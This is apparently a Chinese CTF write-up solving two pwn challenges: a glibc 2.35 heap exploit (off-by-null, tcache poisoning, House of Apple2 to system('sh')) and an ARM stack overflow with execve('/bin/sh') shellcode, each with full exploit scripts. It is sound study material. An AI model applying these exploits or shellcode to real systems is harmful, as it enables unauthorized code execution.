前言：大概快一个多月没有打过堆风水的题目了，期间或许偶尔碰见那么一两道吧，也都比较简单。国外的比赛经常给一些异构 pwn 或者某些偏于真实的程序，大部分都是篡改指针，然后反复跳转，难点在于读懂程序，最近国内比赛多起来了，开始复现国内的题目发现大部分都是堆风水，然后典型的堆覆盖泄露 libc 然后打 apple2 之类的，感觉长时间不写有点退化了，像湾区杯的 armpwn 也是在写题过程中学到了不少知识。

digtal_bomb：

2.35 版本的 libc，开启了 canary，pie 和 Full RELEO

静态分析：

main：

我们先进入到 main 函数去看，做一个简单的逆向，之后得出主要的菜单在 main->sub_1BD8->sub_19AF，简单看一下运行到这里的条件吧，取一点关键的伪代码(命名经过简单修改)：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
printf("Enter min (0-500): ");
__isoc99_scanf("%d", &min);
printf("Enter max (0-500): ");
__isoc99_scanf("%d", &max);

v4 = time(0);
srand(v4);
result1 = rand() % (max - min) + min;
result2 = sub_1B38(); // v1 = rand() % (max - min + 1) + min; return v1;

while ( (unsigned int)sub_1BDB(result2, result1) != 1 );

/*sub_1BDB*/
sub_1B85(result1, result2);
/*
  if ( a1 >= a2 )
    max = a1 - 1;
  else
    min = a1 + 1;
*/

if ( a2 == min && a2 == max )
{
    puts_1("Your cooperation with the computer disarmed the bomb !");
    sub_19AF();
}

那么最终要求 result2 == min && result2 == max，这首先要保证 max == min，

然后令 result1 + 1 == max或者result1 - 1 == min即可。但是 result1 和随机数有关我们无法控制，那就尝试构造与随机数无关的 result1，也就是令 max - min == 1，这样 result2 一定大于 result1，且 result1 == min，触发 min = a1 + 1;，最终就是 min = min++;

综上所述，只要我们依次填入符合 n，n+1，n+1 的数即可进入菜单：

菜单：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void __noreturn sub_19AF()
{
    _DWORD v0[2]; // [rsp+0h] [rbp-10h] BYREF
    unsigned __int64 v1; // [rsp+8h] [rbp-8h]

    v1 = __readfsqword(0x28u);
    v0[1] = 1;
    while ( 1 )
    {
        while ( 1 )
        {
            menu();
            v0[0] = 0;
            __isoc99_scanf("%d", v0);
            while ( getchar() != 10 )
                ;
            if ( v0[0] != 666 )
                break;
            sub_1812();
        }
        if ( v0[0] > 666 )
        {
            LABEL_15:
            puts_1("Invalid choice, please try again.");
        }
        else if ( v0[0] == 3 )
        {
            show();
        }
        else
        {
            if ( v0[0] > 3 )
                goto LABEL_15;
            if ( v0[0] == 1 )
            {
                add();
            }
            else
            {
                if ( v0[0] != 2 )
                    goto LABEL_15;
                delete();
            }
        }
    }
}

看似菜单给了四个选项，实则选择 4 就会报错。接下来就一个一个分析吧：

add：

add 函数当中可以输入 idx 和 size，其中限制 size 大小在 0x10-0x800 之间，之后通过 read 往内存写入数据，但是*(_BYTE *)(*((_QWORD *)&unk_4160 + idx) + v4) = 0;会把最后一个字节写为 0，这就是一个典型的 off-by-null 漏洞。

modify：

在一开始有一个 modify 函数，我们可以修改内容，但是只能修改一次，这种类型似乎在哪里见过：

其余就是很正常的 show 和 delete，show 可以用来泄露数据。

解法一：

泄露 libc_base：

libc_base 的泄露十分繁琐，一切归咎于该题不存在 UAF，导致我们无法对已释放的堆块指针进行泄露。那么我们当前的目标就是利用一个 unsortedbin 去泄露 libc_base，但是不存在 UAF 就要求我们去构造堆重叠，覆盖掉未释放的堆指针，最后利用未释放的堆指针进行 show。

再者考虑到两点：一个是我们只可以对堆内存进行一次的修改，另外是我们堆不存在越界写，这就要求我们必须采取混淆 idx，不断地合并和构造堆块。

构造基本格局：
1
2
3
4
5
6
7
8
9
10
11
12
13
add(0, 0x410)
add(1, 0x100)
add(2, 0x430)
add(3, 0x430)
add(4, 0x100)
add(5, 0x480)
add(6, 0x420)
add(7, 0x100)

delete(0)
delete(3)
delete(6)
delete(2)

这个时候堆 2 和堆 3 会合并成一个 0x880 的大堆，之后覆盖掉原本 chunk3 的 size 和 prev_size，伪造一个 0x550 大小的 chunk 头，但是保留原堆的 fd 和 bk 指针，然后收回剩余的 bin 内存，但是要注意 idx 的变化：

1
2
3
4
5
6
7
payload = b"\x00" * 0x430 + p64(0) + p32(0x551)
add(0,0x450,payload)  # 2
# gdb.attach(p)
# pause()
add(2,0x410)          # 3
add(3,0x410)          # 0
add(6,0x420)          # 6
清理多余的 fd 和 bk 指针：
1
2
3
4
delete(3)             # 0
delete(2)             # 3

add(2,0x410,p64(0))   # clean fd&bk  0

这里清理原先 chunk0 的 fd 和 bk，防止影响后面的内存布局

伪造第二个堆头：
1
2
3
4
5
6
7
delete(6)             # 6
delete(5)             # 5

add(3, 0x4F8, b"a" * 0x490) # 5&6合并大堆块的前0x4F8

add(5, 0x3B8)         # 5&6合并大堆块的后0x3B8
add(6, 0x418)         # 3

释放 idx 5，6 会构造一个大的合并堆块，这个时候 idx5 和 idx6 还没有被污染，依旧和上述伪造堆头的操作一样，覆盖原先 chunk6 的 prev_size 和 size 然后收回多余的 bin 内存。然后利用 off-by-null 修改低字节的指针

还记得我们上一个伪造的堆头放在哪里了吗？在原先 chunk3 的堆头，这个时候我们把 idx6 指针指向当前 chunk3 ，这个时候的当前 chunk3 的堆头在原先 chunk3 堆头的 addr-0x20 处，注意区分一下：

Unlink：

我们前面伪造了一个在原先 idx3 的 0x560 大小的堆，在改堆+0x550 处还存在一个大小为 0x500 的堆，倘若我们触发 unlink 去将两个堆合并成一个大 unsortedbin ，我们就可以利用 show 函数去泄露 main_arena。

考虑一下：0x560 大小肯定是低地址，是合并堆块的前一部分，我们需要在伪造的 0x500 的堆块再伪造一个 prev_size，保证符合 unlink 的条件：

1
2
3
4
delete(4)             # 4
add(4, 0x108, b"\x00" * 0x100 + p64(0x550))
gdb.attach(p)
pause()

正好伪造到 0x500 的堆的 prev_size 位，且标志位为 0，标记为空闲

1
2
3
4
5
6
7
8
9
10
delete(3)
add(8, 0x18)
# gdb.attach(p)
# pause()

show(6)

p.recvuntil(b"Show at index 6:\n")
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - 0x21ACE0
info("libc base: " + hex(libc.address))

delete3 会触发空闲块合并，前面的堆风水正好绕过 unlink 检测触发堆合并构造了一个大小为 0xa50 的大堆块

此时我们就可以去泄露 main_arena，但是当前 idx6 指向原先的 chunk3 的位置，其 data 域在伪造堆块的高地址，距离 0x20，因此我们需要再开辟一个新的 0x20 大小的 chunk8，让 unsortedbin 的 bk 和 fd 往高地址挤 0x20 的大小，这样才可以泄漏到 main_arena：

确实是可以泄露出 libc_base：

泄露 heap_base:

1
2
3
4
5
6
7
8
9
10
add(9,0x18)
gdb.attach(p)
pause()
delete(6)
# gdb.attach(p)
# pause()
show(9)
p.recvuntil(b"Show at index 9:")
leak_info = u64(p.recv(6).ljust(8, b"\x00"))
log.success(hex(leak_info))

我们前面利用 add(8,0x18)把整个 unsortedbin 往高地址推了 0x20 个字节，让当前的 chunk6 恰好在 chunk8+0x20 的位置，如果我们再 add(9,0x18)，就会导致 idx6 和 idx9 的指针重叠，当我们 delete(6)的时候会发现堆的实际大小是 0x20，就会把 chunk6/9 一同放入 tcachebin

同理此时的 chunk9 的 fd 和 bk 指针是有 safe-linking 保护的，但由于 next_chunk = 0，其 fd 指针实际就是指针原本地址右移 12 位，其实就是 heap_base：

由于 add 函数默认填充一个字节的 a，我们将其去掉即可：

1
2
3
4
heap_base = (leak_info - 0xa) * 0x10
log.success(f'heap_base is ==> {hex(heap_base)}')
gdb.attach(p)
pause()

teache poisioning

为了清晰了解当前的对情况，这里直接标注出来：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
0x55a0e6c59290: 0x0000000000000000      0x0000000000000421  # idx2, size=0x420
0x55a0e6c592a0: 0x0000000000000000      0x000055a0e6c5a5e0 

0x55a0e6c596a0: 0x0000000000000000      0x0000000000000000
0x55a0e6c596b0: 0x0000000000000420      0x0000000000000111  # idx1, prev_size=0x420, size=0x110
0x55a0e6c596c0: 0x0000000000000061      0x0000000000000000 
0x55a0e6c596d0: 0x0000000000000000      0x0000000000000000

0x55a0e6c597a0: 0x0000000000000000      0x0000000000000000
0x55a0e6c597b0: 0x0000000000000000      0x0000000000000000
0x55a0e6c597c0: 0x0000000000000000      0x0000000000000461  
0x55a0e6c597d0: 0x0000000000000000      0x0000000000000000 

0x55a0e6c59bf0: 0x0000000000000000      0x0000000000000000  
0x55a0e6c59c00: 0x0000000000000000      0x0000000000000021  # idx8
0x55a0e6c59c10: 0x00007f41d2010061      0x00007f41d201b260 
0x55a0e6c59c20: 0x000055a0e6c59c00      0x0000000000000021  # idx6/idx9 指向的 0x20 chunk header,
0x55a0e6c59c30: 0x000000055a0e6c59      0x4d032c9985543305 

0x55a0e6c59c40: 0x0000000000000000      0x0000000000000a11  # unsortedbin chunk header, size=0xa10
0x55a0e6c59c50: 0x00007f41d201ace0      0x00007f41d201ace0 
0x55a0e6c59c60: 0x0000000000000000      0x0000000000000000  
0x55a0e6c59c70: 0x0000000000000000      0x0000000000000000
0x55a0e6c59c80: 0x0000000000000000      0x0000000000000000


0x55a0e6c5a030: 0x0000000000000000      0x0000000000000000 
0x55a0e6c5a040: 0x0000000000000420      0x0000000000000111  # idx4, prev_size=0x420, size=0x110
0x55a0e6c5a050: 0x0000000000000000      0x0000000000000000  
0x55a0e6c5a130: 0x0000000000000000      0x0000000000000000  # idx4 user data 尾部
0x55a0e6c5a140: 0x0000000000000000      0x0000000000000000
0x55a0e6c5a150: 0x0000000000000550      0x0000000000000500  # fake chunk header, prev_size=0x550,
0x55a0e6c5a160: 0x6161616161616161      0x6161616161616161  


0x55a0e6c5a5c0: 0x6161616161616161      0x6161616161616161 
0x55a0e6c5a5d0: 0x6161616161616161      0x6161616161616161  
0x55a0e6c5a5e0: 0x0000000000000000      0x0000000000000431  # fake chunk header, size=0x430
0x55a0e6c5a5f0: 0x000055a0e6c59290      0x00007f41d201ace0  # fd 指向 idx2 chunk, bk 指向 main_arena
0x55a0e6c5a600: 0x0000000000000000      0x0000000000000000
0x55a0e6c5a610: 0x0000000000000000      0x0000000000000000

我们可以看到 unsortedbin 虽然是 0xa10 大小的大堆，实际距离 idx4 只有 0x400 的距离，我们申请一个 0x400 大小的堆就可以到 idx4(紧邻但不覆盖)，此时我们再申请一个 0x100 的大小的 chunk 就可以和 idx4 完美堆重叠：

1
2
add(3, 0x3F0)
add(6, 0x100)   # idx4&idx6

我们之后构造一个投毒，

1
2
delete(1)
delete(4)

由于 idx4 和 idx6 指针指向的地址相同，我们就可以利用 idx6 取修改已经释放的 idx4，类似 UAF

将 idx4 的 fd 指针修改为 stdout，完后重新申请填充 payload 打 houseofapple2 的链条获取 shell：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
heap = (heap_base + 0x1050) >> 12
stdout = libc.address + 0x21B780
fd = stdout ^ heap
edit(6, p64(fd))

payload = flat(
    {
        0x00: b"  sh;",
        0x08: stdout - 0x10,
        0x28: libc.sym["system"],
        0x88: libc.sym["_environ"] - 0x10,
        0xA0: stdout - 0x40,
        0xD8: libc.sym["_IO_wfile_jumps"] - 0x20,
    },
    filler=b"\x00",
)

add(1,0x100)
add(4,0x100,payload)
p.interactive()

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import*

context(os='linux', arch='amd64', log_level='info')

p = process('./digtal_bomb_patched')
elf = ELF('./digtal_bomb_patched')
libc = ELF('./libc.so.6')
# context.terminal=["tmux","splitw","-h"]

def add(idx, size, content=b'a'):
    p.sendlineafter(b"Your choice >>", b"1")
    p.sendlineafter(b"Index >> \n", str(idx))
    p.sendlineafter(b"Size >> \n", str(size))
    p.send(content)

def delete(idx):
    p.sendlineafter(b"Your choice >>", b"2")
    p.sendlineafter(b"Index >> \n", str(idx))

def show(idx):
    p.sendlineafter(b"Your choice >>", b"3")
    p.sendlineafter(b"Index >> \n", str(idx))

def edit(idx, content):
    p.sendlineafter(b"Your choice >>", b"666")
    p.sendlineafter(b"Index >> \n", str(idx))
    p.send(content)

p.sendlineafter(b"Enter min (0-500): ", b"5")
p.sendlineafter(b"Enter max (0-500): ", b"6")
p.sendlineafter(b"Your guess :", b"6")

add(0, 0x410)
add(1, 0x100)
add(2, 0x430)
add(3, 0x430)
add(4, 0x100)
add(5, 0x480)
add(6, 0x420)
add(7, 0x100)

delete(0)
delete(3)
delete(6)
delete(2)        # 2 -> 6 -> 3 -> 0          FIFO
# gdb.attach(p)
# pause()
payload = b"\x00" * 0x430 + p64(0) + p32(0x551)
add(0,0x450,payload)  # 2
# gdb.attach(p)
# pause()
add(2,0x410)          # 3
add(3,0x410)          # 0
add(6,0x420)          # 6

delete(3)             # 0
delete(2)             # 3

add(2,0x410,p64(0))   # clean fd&bk  0
delete(6)             # 6
delete(5)             # 5


add(3, 0x4F8, b"a" * 0x490) # 5&6合并大堆块的前0x4F8

add(5, 0x3B8)         # 5&6合并大堆块的后0x3B8
add(6, 0x418)         # 3
# gdb.attach(p)
# pause()

delete(4)             # 4
add(4, 0x108, b"\x00" * 0x100 + p64(0x550))

delete(3)
# gdb.attach(p)
# pause()
add(8, 0x18)
# gdb.attach(p)
# pause()

show(6)

p.recvuntil(b"Show at index 6:\n")
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - 0x21ACE0
log.success(f"libc_base is ==> {hex(libc.address)}")
# gdb.attach(p)
# pause()
add(9,0x18)
# gdb.attach(p)
# pause()
delete(6)           # 3 0x418
# gdb.attach(p)
# pause()
show(9)
p.recvuntil(b"Show at index 9:")
leak_info = u64(p.recv(6).ljust(8, b"\x00"))
log.success(hex(leak_info))
heap_base = (leak_info - 0xa) * 0x10
log.success(f'heap_base is ==> {hex(heap_base)}')
# gdb.attach(p)
# pause()

add(3, 0x3F0)
add(6, 0x100)
delete(1)
delete(4)
heap = (heap_base + 0x1050) >> 12

stdout = libc.address + 0x21B780
fd = stdout ^ heap
edit(6, p64(fd))

payload = flat(
    {
        0x00: b"  sh;",
        0x08: stdout - 0x10,
        0x28: libc.sym["system"],
        0x88: libc.sym["_environ"] - 0x10,
        0xA0: stdout - 0x40,
        0xD8: libc.sym["_IO_wfile_jumps"] - 0x20,
    },
    filler=b"\x00",
)

add(4,0x100)
add(1,0x100,payload)
p.interactive()
# gdb.attach(p)
# pause()

中间写的时候绕进去了，晃了很久，这类题目确实该练一练了。

singal：

一个 32 位的 arm 架构，复习一下动态调试的方法：

1
2
lsof -i :1234          # 查看当前占用进程
kill -9 PID            # 占用就停掉进程

启动 qemu-arm：

1
qemu-arm -g 1234 -L ./ ./cli_patched

然后 gdb 动调即可：

1
gdb-multiarch ./cli_patched

和 mips 一样要先加载，然后就可以了：

1
2
set architecture arm
target remote localhost:1234

IDA 静态分析：

IDA 没有给出 main 函数，两个方法找到 main 函数：

  1. 直接运行程序，查找运行过程中出现的字符串然后找交叉引用：

然后直接就定位到 main 函数了：

  1. 方法二是笨方法，像这种本来就没多少函数的二进制程序，自己找一找看一眼就能找出来个大概

找到了 main 函数，那就进行程序分析：

分析 main 函数：

1
int socket(int domain, int type, int protocol);

创建了一个标准的 IPv4 TCP 套接字，并将返回的文件描述符（sockfd）保存到全局变量 dword_1302C 中

IPv4 会有这么一个结构体：

1
2
3
4
5
6
7
8
9
10
11
12
13
struct sockaddr_in {
    sa_family_t    sin_family; // 2 字节，地址族
    in_port_t      sin_port;   // 2 字节，端口号
    struct in_addr sin_addr;   // 4 字节，IPv4 地址
    char           sin_zero[8];// 8 字节填充
};
/*
或者这样
struct sockaddr {
    sa_family_t sa_family; // 2 字节
    char        sa_data[14]; // 14 字节（包含端口和 IP）
};
*/

因此初步操作就是为了改连接 ip 和端口：127.0.0.1:8000

pthread_create 会创建一个新线程，去调用 sub_BAC：

sub_BAC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __noreturn sub_BAC()
{
    char buf[12]; // [sp+Ch] [bp-30h] BYREF
    _DWORD v1[5]; // [sp+18h] [bp-24h] BYREF

    while ( 1 )
    {
        strcpy(buf, "signal\n");
        buf[8] = 0;
        buf[9] = 0;
        send(dword_1302C, buf, 0xAu, 0);
        memset(v1, 0, sizeof(v1));
        if ( recv(dword_1302C, v1, 0x14u, 0) > 0 )
        {
            pthread_mutex_lock(&stru_13014);
            _isoc99_sscanf(v1, "%d %d", &dword_13008, &dword_1300C);
            pthread_mutex_unlock(&stru_13014);
        }
        sleep(1u);
    }
}

dword_1302C 正好是一开始创建的 IPV4TCP 协议，向服务器发送 0xA（10）个字节的数据，内容为 "signal\n\0\0"，然后可以接受 0x14 个字节的内存

1
qemu-arm -L ./ ./cli_patched

1
nc -lvnp 8000 -s 127.0.0.1

它会接收你输入的数据。继续往下看吧：

sub_123C：

这个函数会调用我们刚才输入的内容：

这个函数比较抽象，非常长，但是实际呢，就那么个意思：

1
2
3
4
5
6
7
8
sig1:
1 = RED / STOP
2 = GREEN / GO
3 = YELLOW / CAUTION

sig2:
4 = WALK
5 = DON'T WALK

回到 main 函数，看一看菜单：

case1：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int __fastcall sub_DF0(int a1)
{
    int v2; // r0
    int v3; // r3
    int sig1; // [sp+Ch] [bp-58h]
    char v6[4]; // [sp+14h] [bp-50h] BYREF
    _BYTE s[60]; // [sp+18h] [bp-4Ch] BYREF

    *(_DWORD *)v6 = 0;
    memset(s, 0, sizeof(s));
    pthread_mutex_lock(&stru_13014);
    sig1 = ::sig1;
    pthread_mutex_unlock(&stru_13014);
    if ( sig1 == 2 )
        return printf("\x1B[0;32mThe current traffic light is green, and vehicles can pass through\n\x1B[0m");
    if ( sig1 != 3 )
        return printf("\x1B[0;31mThe current red light prevents the vehicle from moving forward\n\x1B[0m");
    v2 = rand();
    v3 = v2 & 1;                                  // 0或1
    if ( v2 < 0 )
        v3 = -v3;
    if ( v3 )
    {                                             // v3 = 1
        puts("You are about to run a red light, the surveillance system will take photos to record it!");
        read(0, (void *)(a1 + 1), 0x34u);
        sprintf(v6, "%s", (const char *)(a1 + 1));
        return printf("your record msg: %s\n", v6);
    }
    else
    {                                             // v3 = 0
        printf("\x1B[1;33mCurrently yellow light, car waiting \n\x1B[0m");
        while ( 1 )
        {
            pthread_mutex_lock(&stru_13014);
            if ( ::sig1 == 2 )
                break;
            pthread_mutex_unlock(&stru_13014);
            sleep(1u);
            puts("waiting 1s...");
        }
        pthread_mutex_unlock(&stru_13014);
        return sub_DF0(a1);
    }
}

代码看起来很长，但是逻辑其实十分简单：

假如 v3 = 1，就会进入：

1
2
3
4
puts("You are about to run a red light, the surveillance system will take photos to record it!");
read(0, (void *)(a1 + 1), 0x34u);
sprintf(v6, "%s", (const char *)(a1 + 1));
return printf("your record msg: %s\n", v6);
1
2
char v6[4]; // [sp+14h] [bp-50h] BYREF
_BYTE s[60]; // [sp+18h] [bp-4Ch] BYREF

read 会先写 0x34 个字节的内容到(void *)(a1 + 1)，由于 sprintf 的特性，会把内容先写到 v6，再打印

这就导致这 0x34 的字节在char v6[4];上会存在栈溢出

case2：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
ssize_t sub_101C()
{
  ssize_t result; // r0
  _WORD nbytes[3]; // [sp+6h] [bp-46h] BYREF
  _BYTE buf[48]; // [sp+Ch] [bp-40h] BYREF

  nbytes[0] = 12320;
  pthread_mutex_lock(&stru_13014);
  *(_DWORD *)&nbytes[1] = sig2;
  result = pthread_mutex_unlock(&stru_13014);
  if ( *(_DWORD *)&nbytes[1] == 4 )
    return printf("\x1B[0;32mThe current pedestrian light is green, and pedestrians can pass through\n\x1B[0m");
  if ( *(_DWORD *)&nbytes[1] == 5 )
  {
    printf("\x1B[0;32mThe current pedestrian light is red, pedestrians need to wait for a while\n\x1B[0m");
    while ( 1 )
    {
      pthread_mutex_lock(&stru_13014);
      if ( sig2 == 4 && sig1 == 1 )
        break;
      pthread_mutex_unlock(&stru_13014);
      sleep(1u);
      puts("waiting 1s...");
    }
    pthread_mutex_unlock(&stru_13014);
    sub_101C();
    printf("How long do you need to walk: ");
    _isoc99_scanf("%d", nbytes);
    result = getchar();
    if ( HIBYTE(nbytes[0]) >= (unsigned int)LOBYTE(nbytes[0]) )
    {
      puts("registration information:");
      return read(0, buf, LOBYTE(nbytes[0]));
    }
  }
  return result;
}

这里控制 sig2 = 5 就可以进入到关键 if：

1
2
3
4
5
6
7
8
9
10
pthread_mutex_unlock(&stru_13014);
sub_101C();
printf("How long do you need to walk: ");
_isoc99_scanf("%d", nbytes);
result = getchar();
if ( HIBYTE(nbytes[0]) >= (unsigned int)LOBYTE(nbytes[0]) )
{
    puts("registration information:");
    return read(0, buf, LOBYTE(nbytes[0]));
}

我们可以输入 nbytes 的值，假如 HIBYTE(nbytes[0])>=LOBYTE(nbytes[0])，就会 read(0, buf, LOBYTE(nbytes[0]))，如果我们控制 nbytes 是 0xffffffff，那么我们就可以输入 0xffff 个字节大小的数据，从而进行堆 buf 的栈溢出，修改返回地址写一个 ret2shellcode。

EXP 思路：

过随机数

那么首先我们想要保证，我们可以通过控制 sig2 达到越界读的效果，那么我们就可以利用多次触发 sig2 去泄露 canary 和 libc_base。在触发 sig2 的时候有条件，在 sig1 的判断中有一个或 0 或 1 的随机数，我们尝试去重复申请，不通过就重新尝试：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def set_light(light):
    s.recvuntil(b"signal\n")
    s.sendline(light)


def recv_menu():
    r.recvuntil(b"target: ")


def enter_record():
    recv_menu()
    while True:
        set_light(b"3 5")
        r.sendline(b"1")
        data = r.recvuntil((record_msg, wait_msg), timeout=4)
        if record_msg in data:
            return
        set_light(b"2 5")
        if not r.recvuntil(b"target: ", timeout=8):
            log.failure("stuck in waiting, rerun exploit")
            raise SystemExit

要求假如我们可以进入 v3，那就 return，假如随机数没有通过，那就输入 sig1 = 2 制造 break 重新生成随机数

泄露 canary：

我们知道 nbytes 是写到栈上的，那么我们就可以利用栈去寻找 canary

如下图，我们发现 s 是写道栈上的，且 s+1 可以作为一个指针，s+1 实际上就是栈上的 var_C 写在 s 之后，存放读入 s 的地址，那么就考虑到(void *)(a1 + 1)可以当作一个栈地址的泄露。


动态调试一下，在 sprintf 处下断点：

发现确实在后面有一个指针，指针地址就是一开始写入数据的地址，并且在指针之后还有 canary，也就是前面看到的栈上 var_8，我们可以利用两次把栈地址和 canary 都泄露出来：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
15:0054      0x407ffcf4 ◂— 0x60b91800
16:0058      0x407ffcf8 ◂— 0
17:005c      0x407ffcfc —▸ 0x412f3c ◂— 0x12e34
18:0060      0x407ffd00 —▸ 0x407ffd6c —▸ 0x408a27b4 (__libc_start_main+268) ◂— bl exit
19:0064  r11 0x407ffd04 —▸ 0x401904 ◂— b 0x401930 /* '\t' */
1a:0068      0x407ffd08 —▸ 0x411e5460 ◂— 1
1b:006c      0x407ffd0c ◂— 1
1c:0070      0x407ffd10 ◂— 1
1d:0074      0x407ffd14 ◂— 5
1e:0078      0x407ffd18 —▸ 0x401f0002 ◂— 0
1f:007c      0x407ffd1c ◂— 0x100007f
20:0080      0x407ffd20 —▸ 0x408425c8 (_rtld_global+1368) —▸ 0x40810000 ◂— 0x464c457f
21:0084      0x407ffd24 ◂— 0xffffffff
22:0088 r2-1 0x407ffd28 ◂— 0x61616100
23:008c      0x407ffd2c ◂— 0x61616161 ('aaaa')
... ↓        10 skipped
2e:00b8      0x407ffd58 —▸ 0x407ffd0a ◂— 0x1411e
2f:00bc      0x407ffd5c ◂— 0x60b91800
30:00c0      0x407ffd60 ◂— 0

然后我们就可以得到从 0089 开始输入内容，00b8 中存在栈地址，00bc 存放着 canary

然后我们接下来就可以去泄露栈地址和 canary：

1
2
3
4
5
6
7
8
9
10
11
enter_record()
r.sendline(b'a' * 0x2f)
r.recvuntil(b'a' * 0x2f)
stack = u32(r.recv(4)) - 0xa

enter_record()
r.sendline(b'a' * 0x33)
r.recvuntil(b'a' * 0x33)
canary = u32(r.recv(4)) - 0xa
log.success("stack:  " + hex(stack))
log.success("canary: " + hex(canary))

很奇妙的是，当填充至 0x2f 的时候，除了最后的换行符会多加一个 0xa 的数据，栈地址指针发生了变化，不再指向填入数据的开头，转而指向了 __libc_start_main。

ret2shellcode：

我们拿到了栈地址和 canary 就可以直接进行栈溢出，打 ret2shellcode 了，这里我们在之前说过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
recv_menu()
r.sendline(b"2")
r.recvuntil(b" a while\n\x1B[0m")

set_light(b"1 4")
r.recvuntil(b"How long do you need to walk: ")
# r.sendline(b"65535")
r.sendline(str(0xffffffff))

shellcode = asm(
    """
    adr r0, binsh
    eor r2, r2
    push {r2}
    push {r0}
    mov r1, sp
    mov r7, #11
    svc 0
binsh:
    .ascii "/bin/sh\\0"
"""
)

r.recvuntil(b"registration information:")
payload = shellcode.ljust(0x30, b"c")
payload += p32(canary) + p32(0)*3
payload += p32(ret)*2

r.send(payload)
r.interactive()

解释一下 shellcode 

1
2
3
4
5
6
7
8
9
adr r0, binsh       // r0 = &"/bin/sh" (execve 第 1 个参数: 可执行文件路径) */
eor r2, r2          // r2 = 0 (execve 第 3 个参数: envp = NULL，同时清零以便构造成 NULL 哨兵) */
push {r2}           // 栈顶压入 NULL (作为 argv 数组的结束符) */
push {r0}           // 栈顶压入 &"/bin/sh" (作为 argv[0]) */
mov r1, sp          // r1 = SP (execve 第 2 个参数: argv 指针数组首地址 [&"/bin/sh", NULL]) */
mov r7, #11         // r7 = 11 (__NR_execve 系统调用号) */
svc 0               // 触发软中断陷入内核，执行 execve("/bin/sh", argv, NULL) */
     binsh:
          .ascii "/bin/sh\0"  // 目标路径字符串，以 '\0' 结尾 */

EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *

context(arch="arm", os="linux", log_level="debug")

PORT = 8000
server = listen(PORT)

r = process(["qemu-arm", "-L", "..", "./cli"])
#r = process(["qemu-arm", "-L", "..", "-g", "1234", "./cli"]) 

s = server.wait_for_connection()


record_msg = b"You are about to run a red light, the surveillance system will take photos to record it!\n"
wait_msg = b"waiting 1s...\n"


def set_light(light):
    s.recvuntil(b"signal\n")
    s.sendline(light)


def recv_menu():
    r.recvuntil(b"target: ")


def enter_record():
    recv_menu()
    while True:
        set_light(b"3 5")
        r.sendline(b"1")
        data = r.recvuntil((record_msg, wait_msg), timeout=4)
        if record_msg in data:
            return
        set_light(b"2 5")
        if not r.recvuntil(b"target: ", timeout=8):
            log.failure("stuck in waiting, rerun exploit")
            raise SystemExit


enter_record()
r.sendline(b'a'*0x2f)
# r.sendline(b"a" * 0x2F)
r.recvuntil(b"a" * 0x2f)
stack = u32(r.recv(4)) - 0xa
# pause()

enter_record()
r.sendline(b"a" * 0x33)
r.recvuntil(b"a" * 0x33)
canary = u32(r.recv(4)) - 0xa

log.success("stack:  " + hex(stack))
log.success("canary: " + hex(canary))
ret = stack - 0x3c
log.success("ret:    " + hex(ret))

recv_menu()
r.sendline(b"2")
r.recvuntil(b" a while\n\x1B[0m")

set_light(b"1 4")
r.recvuntil(b"How long do you need to walk: ")
# r.sendline(b"65535")
r.sendline(str(0xffffffff))

shellcode = asm(
    """
    adr r0, binsh
    eor r2, r2
    push {r2}
    push {r0}
    mov r1, sp
    mov r7, #11
    svc 0
binsh:
    .ascii "/bin/sh\\0"
"""
)

r.recvuntil(b"registration information:")
payload = shellcode.ljust(0x30, b"c")
payload += p32(canary) + p32(0)*3
payload += p32(ret)*2

r.send(payload)
r.interactive()

在写题目期间遇到了不少问题，和 ai 交流了一番：呃呃呃

目录下有一个 exp.py，是可以打通的，但是现在有几个问题：

原文件只有cli ld-linux.so.3 libc.so.6 libpthread.so.0

  1. 我需要打通的是 cli_patched，但是我确定这个 cli_patched 是否 patch 成功
  2. 如果 patch 成功，就去把这个 cli_patched 打通，如果不成功，告诉我为什么，并修复
  3. exp.py 虽然在本地可以打通，但是把 libc_base 写死了，我们在打远程环境的时候通常不可以这么做，因此不考虑写死 libc_base 的方法
  4. 题解给出的是打 ret2shellcode，我希望按照这种方法走

一些有关qemu的知识：qemu起的虚拟环境保护全关。关闭了ASLR：启动的地址是固定的；关闭了NX：shellcode可执行。通过判断远程环境是qemu起的还是实体机起的，如果是qemu一般直接用ret2shellcode，否则泄露+attack。即使所给的二进制文件开了NX和pie，也只是对真机环境有效，qemu中还是没有保护。

